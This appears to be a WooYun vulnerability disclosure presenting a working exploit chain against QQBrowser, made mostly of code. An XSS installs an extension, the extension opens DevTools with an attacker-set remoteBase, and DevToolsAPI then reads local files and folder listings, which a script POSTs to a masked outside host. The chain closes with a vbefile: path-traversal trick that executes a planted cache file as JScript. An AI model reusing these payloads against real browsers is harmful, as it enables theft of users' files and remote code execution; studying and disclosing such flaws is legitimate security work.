WooYun.org

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
    document.write("Receiving data for stream " + id + "<br>");
    data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "file:///C:/111.txt", "", 0 ],
    function (result) {
        var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
    }
);

var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
    document.write("Receiving data for stream " + id + "<br>");
    data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "file:///C:/", "", 0 ],
    function (result) {
        var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
    }
);

a. 子域.**.**.**.** XSS -> iframe -> 子域.browser.**.**.**.** （该页面的domain要求为**.**.**.**）
b. 调用子域.browser.**.**.**.**里的chrome.management.install API 安装插件“手机助手”
c. 插件安装成功后，利用子域.**.**.**.** XSS -> chrome.runtime.sendMessage 向“手机助手”发送消息， --> 手机助手接受消息 打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

<?php
	header("Access-Control-Allow-Headers: x-requested-with");
	header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
	f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){console.log(arguments)})
}
document.body.appendChild(f);
</script>

chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});

<?php
	header("Access-Control-Allow-Headers: x-requested-with");
	header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
	f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){
		console.log(arguments);
		setTimeout(function(){
			chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});
		},2000);
	})
}
document.body.appendChild(f);
</script>

chrome.runtime.onMessageExternal.addListener(function(e,t,o){var a=t.tab.id;"jump"===e.cmd&&(e.isNewOpen?chrome.tabs.create({url:e.target}):chrome.tabs.update(a,{url:e.target}),o({error:0}))})

a. 访问http://**.**.**.**/test/all/cache.php，让浏览器生成一个恶意的缓存文件
b. 通过上面的文件读取，读取c:/users/下的用户名列表，找到当前用户的用户名
c. 得到浏览器的缓存目录C:\Users\用户名\AppData\Local\Tencent\QQBrowser\User Data\Default\Cache
d. 通过上面的文件读取，得到缓存目录下的文件列表，得到浏览器刚生成的缓存文件名称
e. 通过 location.href='vbefile:/../../../../../../../../../../Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/缓存文件名" //E:jscript //B "' 来执行恶意缓存文件

function getUsers(){
	DevToolsAPI.sendMessageToEmbedder(
		"loadNetworkResource",
		[ "file:///C:/Users", "", 0 ],
		function (result) {
			var users=data.match(/<script>addRow\("([^"]+)"/g)||[];
			var currentUser=[];
			for(var i=0;i<users.length;i++){
				var user=(users[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
				if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
					currentUser.push(user); 
				}				
			}
			console.log(currentUser);
		}
	);
}

function getCaches(User){
	DevToolsAPI.sendMessageToEmbedder(
		"loadNetworkResource",
		[ "file:///C:/Users/"+User+"/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/", "", 0 ],
		function (result) {
			//console.log(data);
			var cachesData=data.match(/<script>addRow\("([^"]+)"/g)||[];
			console.log(cachesData.length);
			var caches=[];
			for(var i=0;i<cachesData.length;i++){
				var cache=(cachesData[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
				if(cache!=".."){
					caches.push(cache); 
				}				
			}
			console.log(caches);
		}
	);	
}

var img=new Image();
img.onerror=function(){
     //缓存加载完毕的回调
};
img.src="http://**.**.**.**/test/all/cache.php?"+Math.random();

测试代码见测试代码区域